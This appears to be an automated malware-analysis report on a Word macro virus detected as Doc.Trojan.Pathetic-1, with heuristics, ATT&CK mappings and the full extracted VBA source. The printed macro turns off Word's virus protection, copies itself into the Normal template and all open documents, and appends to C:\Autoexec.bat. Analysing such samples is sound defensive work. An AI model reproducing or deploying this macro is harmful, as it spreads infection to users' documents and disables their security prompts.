MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine, a common technique for malicious documents. The macro attempts to export its own code to 'C:\vb.txt' and then import it into other documents, potentially spreading itself. It also appends a command to 'C:\Autoexec.bat', indicating an intent to execute further malicious actions. The ClamAV detection further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Pathetic-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Pathetic-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1448 bytes |
SHA-256: 6d858006074ff76e5dae1e0e5e0e99c5e6ad1dfe8e0c7363b25e831144689a90 |
|||
|
Detection
ClamAV:
Doc.Trojan.Pathetic-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module11111111111"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub autoopen()
On Error Resume Next
Dim d As Document
Dim t As Template
Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If d.VBProject.VBComponents.Count <> 1 Then
d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If
If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
For i = 1 To Word.Windows.Count
If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
Word.Windows.Item(i).Document.Save
End If
Next i
Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Application.UserName
'Print #1, "@copy c:\windows\*.ini super.ini /Y"
Close #1
If Month(Now) = 5 Then
d.Close 'Pathetic I Know !
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.